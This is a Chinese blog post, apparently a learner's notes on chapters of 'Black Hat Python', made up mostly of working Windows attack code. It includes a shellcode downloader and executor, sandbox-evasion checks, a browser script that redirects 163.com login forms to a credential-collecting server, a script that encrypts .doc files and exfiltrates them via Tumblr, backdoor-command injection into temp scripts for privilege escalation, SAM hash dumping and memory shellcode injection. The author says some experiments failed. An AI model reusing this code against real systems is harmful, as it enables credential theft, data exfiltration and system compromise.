# 从我们搭建的服务器下下载shellcode
url = "http://10.10.10.128:8000/shellcode.bin"
response = urllib2.urlopen(url)

# 解码shellcode
shellcode = base64.b64decode(response.read())
# 申请内存空间
shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))
# 创建shellcode的函数指针
shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p))
# 执行shellcode
shellcode_func()

报了个非法访问内存

这里的简单的HTTP服务器也记录了访问的记录


如果直接双击shellcode是可以的


沙盒检测

复制一下维基百科的:
在计算机安全领域,沙盒(英语:sandbox,又译为沙箱)是一种安全机制,为运行中的程序提供的隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用。
沙盒通常严格控制其中的程序所能访问的资源,比如,沙盒可以提供用后即回收的磁盘及内存空间。在沙盒中,网络访问、对真实系统的访问、对输入设备的读取通常被禁止或是严格限制。从这个角度来说,沙盒属于虚拟化的一种。
沙盒中的所有改动对操作系统不会造成任何损失。通常,这种技术被计算机技术人员广泛用于测试可能带毒的程序或是其他的恶意代码。

原理:正常的机器,会在某个时间段频繁地跟机器进行交换,沙盒通常没有用户交互,没有夸张的交互数据,因为沙盒通常被用于自动对而已软件进行分析

#-*- coding:utf8 -*-

import ctypes
import random
import time
import sys

user32 = ctypes.windll.user32
kernel32 = ctypes.windll.kernel32

# 用于记录鼠标单击,键盘按键和双击的总数量
keystrokes = 0
mouse_clicks = 0
double_clicks = 0

#  定义LASTINPUTINFO结构体
class LASTINPUTINFO(ctypes.Structure):
    _fields_ = [
                ("cbsize", ctypes.c_uint),  # 结构体大小
                ("dwTime", ctypes.c_ulong)  # 系统最后输入时间
                ]

def get_last_input():
    struct_lastinputinfo = LASTINPUTINFO()
    struct_lastinputinfo.cbSize = ctypes.sizeof(LASTINPUTINFO)

    # 获得用户最后输入的相关信息
    user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo))

    # 获取系统开机以来的时间
    run_time = kernel32.GetTickCount()

    elapsed = run_time - struct_lastinputinfo.dwTime
    print "[*] It's been %d milliseconds since the last input event." % elapsed

    return elapsed

# 测试后删除下面代码,这只是测试上面代码能否运行成功
# while True:
#     get_last_input()
#     time.sleep(1)

def get_key_press():
    global mouse_clicks
    global keystrokes

    for i in range(0,0xff):
        # 检测某个按键是否被按下
        if user32.GetAsyncKeyState(i) == -32767:
            # 左键点击为0x1
            if i == 0x1:
                # 鼠标单击的数目和时间
                mouse_clicks += 1
                return time.time()
            # 键盘ASCII按键是从23-127(具体可看ASCII表),为可打印字符,这就获取了键盘的敲击次数
            elif i > 32 and i < 127:
                keystrokes += 1

    return None

def detect_sandbox():
    global mouse_clicks
    global keystrokes

    # 定义键盘,单击,双击的最大值(阀值)
    max_keystrokes = random.randint(10,25)
    max_mouse_clicks = random.randint(5,25)
    max_double_clicks = 10

    double_clicks = 0
    double_click_threshold = 0.250 #秒为单位
    first_double_click = None

    average_mousetime = 0
    max_input_threshold = 30000 #毫秒为单位

    previous_timestamp = None
    detection_complete = False

    # 获取用户最后一次输入之后经历的时间
    last_input = get_last_input()

    # 超过设定的阀值时强制退出,就是用户最后一次输入之后经历的时间太长,都没用户活动了
    if last_input >= max_input_threshold:
        sys.exit(0)

    # 循环检测
    while not detection_complete:

        # 获取按下鼠标的时间,不懂的看函数的返回值
        keypress_time = get_key_press()

        if keypress_time is not None and previous_timestamp is not None:
            # 计算两次点击的相隔时间
            elapsed = keypress_time - previous_timestamp
            # 间隔时间短的话,则为用户双击
            if elapsed <= double_click_threshold:
                double_clicks += 1
                if first_double_click is None:
                    # 获取第一次双击的时间
                    first_double_click = time.time()
                else:
                    # 是否是沙盒的管理者在沙盒中模仿用户的点击(因为普通用户通常不会双击这么多)
                    if double_clicks == max_double_clicks:
                        # 短时间内,鼠标点击达到了我们设定的最大值(最大次数*双击间隔)
                        if keypress_time - first_double_click <= (max_double_clicks * double_click_threshold):
                            sys.exit(0)
            # 是否达到了我们检测的最大数量,是就退出
            if keystrokes >= max_keystrokes and double_clicks >= max_double_clicks and mouse_clicks >=max_mouse_clicks:
                return

            previous_timestamp = keypress_time
        elif keypress_time is not None:
            previous_timestamp = keypress_time



detect_sandbox()
print "We are Ok!"




第九章 玩转浏览器


基于浏览器的中间人攻击

没实验出来,大概知道是什么原理:

首先要循环运行,判断是否是我们的目标域名,
若已经获取登陆凭证的就结束本次循环,重头开始(while的下一行代码)判断,否则继续向下
若有设置退出登陆的url,就访问,否则找退出登陆的表单,退出
接着登待浏览器回到登陆的表单页面
跟着就修改登陆表单的action,即提交地址为我们接受数据的服务器的地址,还有原登录地址也提交过去,
并将owned设置为True,代表已经获取登陆凭证

服务器这边,初始化监听地址和端口,并调用一个类来处理请求,其实就是处理POST请求,
首先获取包长度,读取这么多长度的内容并打印出来,登录凭证就出来了,
跟着获取用户访问的原始站点,进行301重定向,并设置头部

代码:
#-*- coding:utf8 -*-  

import win32com.client
import time
import urlparse
import urllib

# 接受窃取的数据的服务器
data_receiver = "http://127.0.0.1:8080/"

# 目标站点
target_sites = {}

target_sites["www.163.com"] = {
    "logout_url"    : "http://reg.163.com/Logout.jsp?username=zhuhaijnujixie&url=http://www.163.com/",
    "logout_form"   : None,
    "logout_form_index":0,
    "owned"         :False
}
target_sites["reg.163.com"] = {
    "logout_url"    : "http://reg.163.com/Logout.jsp?username=zhuhaijnujixie&url=http://www.163.com/",
    "logout_form"   : None,
    "logout_form_index":0,
    "owned"         :False
}

# IE浏览器类的ID号
clsid = '{9BA05972-F6A8-11CF-A442-00A0C90A8F39}'

# COM对象实例化,就是上面那个
windows = win32com.client.Dispatch(clsid)

def wait_for_browser(browser):
    # 等待浏览器加载完一个页面
    while browser.ReadyState != 4 and browser.ReadyState != "complete":
        time.sleep(0.1)

    return

while True:

    for browser in windows:
        url = urlparse.urlparse(browser.LocationUrl)
        if url.hostname in target_sites:
            #print "i am in"
            if target_sites[url.hostname]["owned"]:
                continue

            # 如果有一个URL,我们可以重定向
            if target_sites[url.hostname]["logout_url"]:
                browser.Navigate(target_sites[url.hostname]["logout_url"])
                wait_for_browser(browser)
            else:
                # 检索文件中的所有元素
                full_doc = browser.Document.all
                # 迭代寻找注销表单
                for i in full_doc:
                    try:
                        # 找到退出登陆的表单并提交
                        if i.id == target_sites[url.hostname]["logout_form"]:
                            i.submit()
                            wait_for_browser(browser)
                    except:
                        pass
            # 现在来修改登陆表单
            try:
                login_index = target_sites[url.hostname]["login_form_index"]
                login_page = urllib.quote(browser.LocationUrl)
                browser.Document.forms[login_index].action = "%s%s" % (data_receiver, login_page)
                target_sites[url.hostname]["owned"] = True
            except:
                pass
        time.sleep(5)

<pre name="code" class="python">#-*- coding:utf8 -*-  

import SimpleHTTPServer
import SocketServer
import urllib

class CredRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
    # 处理POST请求
    def do_POST(self):
        # 获取包长度
        content_length = int(self.headers['Content-Length'])
        # 读取这么多长度的内容并打印出来,登录凭证就出来了
        creds = self.rfile.read(content_length).decode('utf-8')
        print creds
        # 跟着获取用户访问的原始站点,进行301重定向,并设置头部
        site = self.path[1:]
        self.send_response(301)
        self.send_header("Location",urllib.unquote(site))
        self.end_headers()

# 初始化监听地址和端口,并调用一个类来处理请求,其实就是处理POST请求
server = SocketServer.TCPServer(('0.0.0.0', 8080), CredRequestHandler)
# 永远监听
server.serve_forever()
 
 

利用IE的COM组件自动化技术窃取数据

安装pycrypto
可以直接下源码:https://ftp.dlitz.net/pub/dlitz/crypto/pycrypto/pycrypto-2.6.1.tar.gz
,也可以pip
出了点问题
下载Microsoft Visual C++ Compiler for Python 2.7 安装即可(这个就是9.0的)
https://www.microsoft.com/en-us/download/confirmation.aspx?id=44266
先是生成公钥和私钥来加密解密我们的数据
下面有个函数

generate(bitsrandfunc=Noneprogress_func=Nonee=65537)

 

Randomly generate a fresh, new RSA key object.

随机地生成一个新的RSA key对象

Parameters:
  • bits (int) - Key length, or size (in bits) of the RSA modulus. It must be a multiple of 256, and no smaller than 1024.(key长度,不少于1024,且为256的倍数)
  • randfunc (callable) - Random number generation function; it should accept a single integer N and return a string of random data N bytes long. If not specified, a new one will be instantiated from Crypto.Random.(随机数生成函数,默认使用 Crypto.Random
  • progress_func (callable) - Optional function that will be called with a short string containing the key parameter currently being generated; it's useful for interactive applications where a user is waiting for a key to be generated.
  • e (int) - Public RSA exponent. It must be an odd positive integer. It is typically a small number with very few ones in its binary representation. The default value 65537 (= 0b10000000000000001 ) is a safe choice: other common values are 5, 7, 17, and 257.(必须为奇正整数,默认65537)
Returns:
An RSA key object ( _RSAobj).
Raises:
  • ValueError - When bits is too little or not a multiple of 256, or when e is not odd or smaller than 2.
Attention:
  • You should always use a cryptographically secure random number generator, such as the one defined in the Crypto.Random module; don't just use the current time and the random module.
  • Exponent 3 is also widely used, but it requires very special care when padding the message.
代码:
#-*- coding:utf8 -*-  

from Crypto.PublicKey import RSA

# 随机地生成一个新的RSA key对象
new_key = RSA.generate(2048, e = 65537)

# 导出公钥和私钥
public_key = new_key.publickey().exportKey("PEM")
private_key = new_key.exportKey("PEM")

# 分别输出公钥和私钥
print public_key
print private_key

ie_exfil.py代码:
#-*- coding:utf8 -*-  

import win32com.client
import os
import fnmatch
import time
import random
import zlib

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
# 要窃取的文档类型和tumblr的账号密码
doc_type = ".doc"
username = "你的账号"
password = "你的密码"

public_key = "你生成的公钥"

def wait_for_browser(browser):
    # 等待浏览器加载完一个页面
    while browser.ReadyState != 4 and browser.ReadyState != "complete":
        time.sleep(0.1)

    return

def encrypt_string(plaintext):
    # 设置块大小
    chunk_size = 256
    print "Compressing: %d bytes" % len(plaintext)
    # 首先调用zlib进行压缩
    plaintext = zlib.compress(plaintext)

    print "Encrypting %d bytes" % len(plaintext)

    # 利用公钥建立RSA公钥加密对象
    rsakey = RSA.importKey(public_key)
    rsakey = PKCS1_OAEP.new(rsakey)

    encrypted = ""
    offset = 0

    # 对文件内容进行每256个字节为一块循环加密
    while offset < len(plaintext):
        # 获取某个256字节
        chunk = plaintext[offset:offset+chunk_size]
        # 若到最后不够256字节,则用空格补够
        if len(chunk) % chunk_size != 0:
            chunk += " " * (chunk_size - len(chunk))
        # 将已加密的连起来
        encrypted += rsakey.encrypt(chunk)
        # 偏移增加
        offset += chunk_size
    # 对加密后的进行base64编码
    encrypted = encrypted.encode("base64")
    # 输出最后加密后的长度
    print "Base64 encodeed crypto: %d" % len(encrypted)
    # 返回加密后内容
    return encrypted

def encrypt_post(filename):

    # 打开并读取文件
    fd = open(filename, "rb")
    contents = fd.read()
    fd.close()
    # 分别加密文件名和内容
    encrypt_title = encrypt_string(filename)
    encrypt_body = encrypt_string(contents)

    return encrypt_title, encrypt_body

# 随机休眠一段时间
def random_sleep():
    time.sleep(random.randint(5,10))
    return

def login_to_tumblr(ie):

    # 解析文档中的所有元素
    full_doc = ie.Document.all
    # 迭代每个元素来查找登陆表单
    for i in full_doc:
        if i.id == "signup_email":
            i.setAttribute("value", username)
        elif i.id == "signup_password":
            i.setAttribute("value", password)

    random_sleep()

    try:
        # 你会遇到不同的登陆主页
        if ie.Document.forms[0].id == "signup_form":
            ie.Document.forms[0].submit()
        else:
            ie.Document.forms[1].submit()
    except IndexError, e:
        pass

    random_sleep()

    # 登陆表单是登陆页面的第二个表单
    wait_for_browser(ie)
    return

def post_to_tumblr(ie, title, post):
    full_doc = ie.Document.all

    for i in full_doc:
        if i.id == "post_one":
            i.setAttribute("value", title)
            title_box = i
        elif i.id == "post_two":
            i.setAttribute("innerHTML", post)
        elif i.id == "create_post":
            print "Found post button"
            post_form = i
            i.focus()

    random_sleep()
    title_box.focus()
    random_sleep()

    post_form.childran[0].click()
    wait_for_browser(ie)

    random_sleep()

    return

def exfiltrate(document_path):
    # 创建IE实例化对象
    ie = win32com.client.Dispatch("InternetExplorer.Application")
    # 调试阶段设置为1,实际设置为0,以增加隐蔽性
    ie.Visible = 1

    # 访问tumblr站点并登陆
    ie.Navigate("http://www.tumblr.com/login")
    wait_for_browser(ie)

    print "Logging in ..."
    login_to_tumblr(ie)
    print "Logged in ... navigating"

    ie.Navigate("https://www.tumblr.com/new/text")
    wait_for_browser(ie)

    # 加密文件
    title,body = encrypt_post(document_path)

    print "Creating new post..."
    post_to_tumblr(ie, title, body)
    print "Posted!"

    # 销毁IE实例
    ie.Quit()
    ie = None


# 用户文档检索的主循环,路径自定
for parent, directories, filenames in os.walk("C:\\"):
    for filename in fnmatch.filter(filenames, "*%s" % doc_type):
        document_path = os.path.join(parent, filename)
        print "Found: %s" % document_path
        exfiltrate(document_path)
        raw_input("Continue?")

我们获取后如何解密呢
decryptor.py:
#-*- coding:utf8 -*-  

import zlib
import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

private_key = "你生成的私钥"

rsakey = RSA.importKey(private_key)
rsakey = PKCS1_OAEP.new(rsakey)
<pre name="code" class="python">encrypted = "复制加密的内容过来"
chunk_size = 256offset = 0decrypted = ""encrypted = base64.b64decode(encrypted)while offset < len(encrypted): decrypted += rsakey.decrypt(encrypted[offset:offset+chunk_size]) offset += chunk_size# 解压负载plaintext = zlib.decompress(decrypted)print plaintext
 实验还是没成功: 
 

第十章 Windows系统提权

这章主要是监控具有高权限的进程,插入代码,从而获取熊权限

环境准备

安装pywin32,键盘钩子那章已经安装
安装wmi: easy_install wmi
示例服务下载:

利用WMI监视进程

#-*- coding:utf8 -*-  

"""
@version: 
@author: giantbranch
@file: process_monitor.py
@time: 2016/3/13 20:12
"""

import win32con
import win32api
import win32security

import wmi
import sys
import os

# 保存数据到文件中
def log_to_file(message):
    fd = open("process_monitor_log.csv", "ab")
    fd.write("%s\r\n" % message)
    fd.close()

    return

# 创建一个日志文件的头
log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges")

# 初始化WMI接口
c = wmi.WMI()

# 创建进程监控器(监控进程创建)
process_watcher = c.Win32_Process.watch_for("creation")

while True:
    try:
        # 有创建进程事件会返回
        new_process = process_watcher()

        proc_owner = new_process.GetOwner()
        # for i in proc_owner:
        #     print i
        proc_owner = "%s\\%s" % (proc_owner[0], proc_owner[2])
        # 时间
        create_data = new_process.CreationDate
        # 路径
        executable = new_process.ExecutablePath
        # 命令行(就是实际的命令是什么)
        cmdline = new_process.CommandLine
        pid = new_process.ProcessId
        parent_pid = new_process.ParentProcessId

        # N/A:不可用的意思
        privileges = "N/A"

        process_log_message = "%s,%s,%s,%s,%s,%s,%s\r\n" % (create_data, proc_owner, executable, cmdline, pid, parent_pid, privileges)

        # print process_log_message

        log_to_file(process_log_message)

    except:
        pass



实验结果:


我们看一下owner的输出



Windows系统的令牌权限


在上面加入以下代码,放到log_to_file函数前面吧
同时 privileges = get_process_privileges(pid)
def get_process_privileges(pid):
    try:
        # 通过pid获取目标进程句柄
        hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION, False, pid)

        # 打开主进程的令牌
        htok = win32security.OpenProcessToken(hproc, win32con.TOKEN_QUERY)

        # 解析已启用的权限列表,获得令牌信息
        privs = win32security.GetTokenInformation(htok, win32security.TokenPrivileges)

        # 迭代每个权限并输出其中已经启用的
        # i[0]:具体权限
        # i[1]:该权限是否启用
        priv_list = ""
        for i in privs:
            # 检测权限是否已经启用
            if i[1] == 3:
                # 获取并连接权限的名称
                priv_list += "%s|" % win32security.LookupPrivilegeName(None, i[0])
    except:
        priv_list = "N/A"

    return priv_list

结果:


赢得竞争

# 作者提供的原示例文件
# http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.html
代码:
#-*- coding:utf8 -*-  

"""
@version: 
@author: giantbranch
@file: file_monitor.py
@time: 2016/3/14 23:36
"""

import tempfile
import threading
import win32file
import win32con
import os

# 这些是典型的临时文件所在路径,就是我们监控的目录
dirs_to_monitor = ["C:\\WINDOWS\\Temp",tempfile.gettempdir()]

# 文件修改行为对应常量
FILE_CREATE = 1
FILE_DELETE = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5

def start_monitor(path_to_watch):

    # 为每个监控器起一个线程
    FILE_LIST_DIRECTORY = 0x0001

    # 获取文件目录句柄
    h_directory = win32file.CreateFile(
        path_to_watch,
        FILE_LIST_DIRECTORY,
        win32con.FILE_SHARE_READ |win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,
        None,
        win32con.OPEN_EXISTING,
        win32con.FILE_FLAG_BACKUP_SEMANTICS,
        None
    )

    while 1:
        try:
            # 这函数会在目录结构改变时通知我们
            results = win32file.ReadDirectoryChangesW(
                h_directory,
                1024,
                True,
                win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
                win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
                win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
                win32con.FILE_NOTIFY_CHANGE_SIZE |
                win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
                win32con.FILE_NOTIFY_CHANGE_SECURITY,
                None,
                None
            )

            # 我们可以获得发送了何种改变,以及目标文件的名称
            for action,file_name in results:
                full_filename = os.path.join(path_to_watch, file_name)

                if action == FILE_CREATE:
                    print "[ + ] Created %s" % full_filename
                elif action == FILE_DELETE:
                    print "[ - ] Deleted %s" % full_filename
                elif action == FILE_MODIFIED:
                    print "[ * ] Modified %s" % full_filename
                    # 输出文件内容
                    print "[vvv] Dumping contents..."
                    try:
                        # 打开文件读数据
                        fd = open(full_filename, "rb")
                        contents = fd.read()
                        fd.close()
                        print contents
                        print "[^^^] Dump complete."
                    except:
                        print "[!!!] Failed."
                # 重命名哪个文件
                elif action == FILE_RENAMED_FROM:
                    print "[ > ] Renamed from: %s" % full_filename
                # 重命名后的文件名是?
                elif action == FILE_RENAMED_TO:
                    print "[ < ] Renamed to: %s" % full_filename
                else:
                    print "[???] Unknown: %s" % full_filename
        except:
            pass


for path in dirs_to_monitor:
    monitor_thread = threading.Thread(target=start_monitor,args=(path,))
    print "Spawning monitoring thread for path: %s" % path
    monitor_thread.start()

实验结果:


代码插入

#-*- coding:utf8 -*-  

"""
@version: 
@author: giantbranch
@file: file_monitor.py
@time: 2016/3/14 23:36
"""

import tempfile
import threading
import win32file
import win32con
import os

# 这些是典型的临时文件所在路径,就是我们监控的目录
dirs_to_monitor = ["C:\\WINDOWS\\Temp",tempfile.gettempdir()]

# 文件修改行为对应常量
FILE_CREATE = 1
FILE_DELETE = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5

# 定义匹配特定文件扩展名的字典
file_types = {}

command = "C:\\WINDOWS\\TEMP\\bhpnet.exe –l –p 9999 –c"
# 每段扩展名对应一个特定的标签及我们想要插入的一段脚本
file_types['.vbs'] = ["\r\n'bhpmarker\r\n","\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n" % command]
file_types['.bat'] = ["\r\nREM bhpmarker\r\n","\r\n%s\r\n" % command]
file_types['.ps1'] = ["\r\n#bhpmarker","Start-Process \"%s\"" % command]

# 用于执行代码插入的函数
def inject_code(full_filename, extension, contents):
    # 判断文件是否存在标记
    if file_types[extension][0] in contents:
        return

    # 如果没有标记的话,那么插入代码并标记
    full_contents = file_types[extension][0]
    full_contents += file_types[extension][1]
    full_contents += contents

    fd = open(full_filename, "wb")
    fd.write(full_contents)
    fd.close()

    print "[\o/] Injected code"

    return

# 为每个监控器起一个线程
def start_monitor(path_to_watch):

    # 访问模式
    FILE_LIST_DIRECTORY = 0x0001

    # 获取文件目录句柄
    h_directory = win32file.CreateFile(
        path_to_watch,
        FILE_LIST_DIRECTORY,
        win32con.FILE_SHARE_READ |win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,
        None,
        win32con.OPEN_EXISTING,
        win32con.FILE_FLAG_BACKUP_SEMANTICS,
        None
    )

    while 1:
        try:
            # 这函数会在目录结构改变时通知我们
            results = win32file.ReadDirectoryChangesW(
                h_directory,
                1024,
                True,
                win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
                win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
                win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
                win32con.FILE_NOTIFY_CHANGE_SIZE |
                win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
                win32con.FILE_NOTIFY_CHANGE_SECURITY,
                None,
                None
            )

            # 我们可以获得发送了何种改变,以及目标文件的名称
            for action,file_name in results:
                full_filename = os.path.join(path_to_watch, file_name)

                if action == FILE_CREATE:
                    print "[ + ] Created %s" % full_filename
                elif action == FILE_DELETE:
                    print "[ - ] Deleted %s" % full_filename
                elif action == FILE_MODIFIED:
                    print "[ * ] Modified %s" % full_filename
                    # 输出文件内容
                    print "[vvv] Dumping contents..."
                    try:
                        # 打开文件读数据
                        fd = open(full_filename, "rb")
                        contents = fd.read()
                        fd.close()
                        print contents
                        print "[^^^] Dump complete."
                    except:
                        print "[!!!] Failed."

                    # 文件和文件扩展名分离
                    filename, extension = os.path.splitext(full_filename)
                    if extension in file_types:
                        inject_code(full_filename, extension, contents)

                # 重命名哪个文件
                elif action == FILE_RENAMED_FROM:
                    print "[ > ] Renamed from: %s" % full_filename
                # 重命名后的文件名是?
                elif action == FILE_RENAMED_TO:
                    print "[ < ] Renamed to: %s" % full_filename
                else:
                    print "[???] Unknown: %s" % full_filename
        except:
            pass


for path in dirs_to_monitor:
    monitor_thread = threading.Thread(target=start_monitor,args=(path,))
    print "Spawning monitoring thread for path: %s" % path
    monitor_thread.start()


先安装启动漏洞示例服务


再执行上面的脚本

但并没有作者所说的那样有个vbs文件创建,于是我就自己创建了了个vbs文件


可以看到有编码问题,但最后各种尝试还是不行,指导原理就好,没看书的可能不知道这里是干嘛的

第十一章 自动化攻击取证

工具安装

Volatility ————高级内存取证框架工具
我分享的源代码也有
这个下个源代码就额可以了,exe太污染系统了

工具配置

首先要获取内存镜像,各种百度谷歌,才找到了:

MoonSols DumpIt是一款同时支持Win32dd和Win64dd的内存副本获取工具。用户只需双击DumpIt.exe可执行程序,并在提示问题后面输入y(如下图),等待几分钟时间即可在当前目录下生成主机物理内存的副本(如图2.3所示),该副本文件是以*.raw为后缀的镜像文件。raw是未经处理的意思,即使用该工具对物理内存进行拷贝是按每一个bit进行深度复制,即按原样进行复制,这样可以避免丢失一些重要数据。



出来了,9.多G,吓尿了


这是在我的真实机win7上运行结果


xp虚拟机结果(最重要的信息是红色那)



抓取口令的哈希值

由于我们是对VMWare虚拟机进行试验,我还是开winxp的虚拟机做实验,不知道需不需要打开,反正就先开了winxp虚拟机

我们可以看到虚拟机的vmem文件,这个应该是快照有关的文件,因为我保存了三个快照




抓取注册表的值在内存中的位置



可以看到底部的SAM和system的键值所在的虚拟地址和物理内存地址
虚拟地址:是在操作系统内存中的偏移
物理地址:是在.vmem文件中的偏移

接下来将虚拟地址传递给hashdump插件(-y是system的虚拟地址,-s是SAM的)



下面用python将上面连个步骤用编程实现

代码:
#-*- coding:utf8 -*-  

"""
@version: 
@author: giantbranch
@file: grabhashes.py
@time: 2016/3/15 20:16
"""

import sys
import struct
import volatility.conf as conf
import volatility.registry as registry

# 要分析的内存文件位置
memory_file = "D:\\Windows XP Professional-f6b49762.vmem"

# volatility的下载的路径
sys.path.append("D:\\volatility-2.3")

registry.PluginImporter()
config = conf.ConfObject()

import volatility.commands as commands
import volatility.addrspace as addrspace

config.parse_options()
config.PROFILE = "WinXPSP3x86"
config.LOCATION = "file://%s" % memory_file

# 注册全局参数
registry.register_global_options(config, commands.Command)
registry.register_global_options(config, addrspace.BaseAddressSpace)

from volatility.plugins.registry.registryapi import RegistryApi
from volatility.plugins.registry.lsadump import HashDump

# 实例化一个RegistryApi类对象(包含常用的注册表帮助类)
registry = RegistryApi(config)
# 等同与hivelist命令
registry.populate_offsets()

sam_offset = None
sys_offset = None

# 循环检索SAM和system键值
for offset in registry.all_offsets:
    if registry.all_offsets[offset].endswith("\\SAM"):
        sam_offset = offset
        print "[*] SAM: 0x%08x" % offset

    if registry.all_offsets[offset].endswith("\\system"):
        sys_offset = offset
        print "[*] System: 0x%08x" % offset

    if sam_offset is not None and sys_offset is not None:
        config.sys_offset = sys_offset
        config.sam_offset = sam_offset

        # 创建HashDump对象
        hashdump = HashDump(config)

        for hash in hashdump.calculate():
            print hash

        break


if sam_offset is None or sys_offset is None:
    print "[*] Failed to find the system or SAM offsets."


出错记录:(路径出现了中文,编程的目录还是用英文命名为好)


复制到D盘根目录解决




实验结果:


成功,好耶!!!

终于来到最后一课了

直接代码注入

代码:
#-*- coding:utf8 -*-  

"""
@version: 
@author: giantbranch
@file: codecoverage.py
@time: 2016/3/15 23:15
"""

from immlib import *

class cc_hook(LogBpHook):

    def __init__(self):
        LogBpHook.__init__(self)
        self.imm = Debugger()

    def run(self, regs):
        self.imm.log("%08x" % regs['EIP'], regs['EIP'])
        self.imm.deleteBreakpoint(regs['EIP'])
        return


def main(args):

    imm = Debugger()

    calc = imm.getModule("calc.exe")
    imm.analyseCode(calc.getCodebase())

    functions = imm.getAllFunctions(calc.getCodebase())

    hooker = cc_hook()
    for function in functions:
        hooker.add("%08x" % function, function)

    return "Tracking %d functions." % len(functions)

#-*- coding:utf8 -*-  

"""
@version: 
@author: giantbranch
@file: code_inject.py
@time: 2016/3/16 13:04
"""

import sys
import struct

equals_button = 0x01005D51

# 要分析的内存文件位置
memory_file = "D:\\Windows XP Professional-f6b49762.vmem"
slack_space = None
trampoline_offset = None

# 读入我们的shellcode
sc_fd = open("cmeasure.bin", "rb")
sc = sc_fd.read()
sc_fd.close()

sys.path.append("D:\\volatility-2.3")

import volatility.conf as conf
import volatility.registry as registry

registry.PluginImporter()
config = conf.ConfObject()

import volatility.commands as commands
import volatility.addrspace as addrspace

registry.register_global_options(config, commands.Command)
registry.register_global_options(config, addrspace.BaseAddressSpace)

config.parse_options()
config.PROFILE = "WinXPSP3x86"
config.LOCATION = "file://%s" % memory_file

import volatility.plugins.taskmods as taskmods

p = taskmods.PSList(config)
for process in p.calculate():
    if str(process.ImageFileName) == "calc.exe":
        print "[*] Found calc.exe with PID %d" % process.UniqueProcessId
        print "[*] Hunting for physical offsets...please wait."

        address_space = process.get_process_address_space()
        pages = address_space.get_available_pages()

        # page[0]:页面地址
        # page[1]:页面大小
        for page in pages:
            physical = address_space.vtop(page[0])
            if physical is not None:
                fd = open(memory_file, "r+")
                fd.seek(physical)
                buf = fd.read(page[1])

                try:
                    offset = buf.index("\x00" * len(sc))
                    slack_space = page[0] + offset

                    print "[*] Found good shellcode location!"
                    print "[*] Virtual address: 0x%08x" % slack_space
                    print "[*] Physical address: 0x%08x" % (physical + offset)
                    print "[*] Injecting shellcode."

                    fd.seek(physical + offset)
                    fd.write(sc)
                    fd.flush()

                    # 创建我们的跳转代码
                    # 对应的汇编指令为:
                    # mov ebx, ADDRESS_OF_SHELLCODE( shellcode地址)
                    # jmp ebx
                    tramp = "\xbb%s" % struct.pack("<L", page[0] + offset)
                    tramp += "\xff\xe3"

                    if trampoline_offset is not None:
                        break

                except:
                    pass

                fd.close()

            # 查看目标代码的位置
            if page[0] <= equals_button and equals_button < (page[0] + page[1] -7):
                print "[*] Found our trampoline target at: 0x%08x" % (physical)
                # 计算虚拟偏移
                v_offset = equals_button - page[0]
                # 计算物理偏移
                trampoline_offset = physical+ v_offset

                print "[*] Found our trampoline target at: 0x%08x" % (trampoline_offset)

                if slack_space is not None:
                    break


        print "[*] Writing trampoline..."

        fd = open(memory_file, "r+")
        fd.seek(trampoline_offset)
        fd.write(tramp)
        fd.close()

        print "[*] Done injecting code."



点击等号时出现了两条消息



但改成那两个地址还是没用,由于逆向功夫渣,实验再次失败








终于学完了,也敲完代码了,其中有好几个都没成功实践出作者的预期结果,知道我哪里错的,欢迎指点。

最后感谢 用户  mackf qq_31229763 的鼓励



猜你喜欢

转载自blog.csdn.net/u012763794/article/details/50612756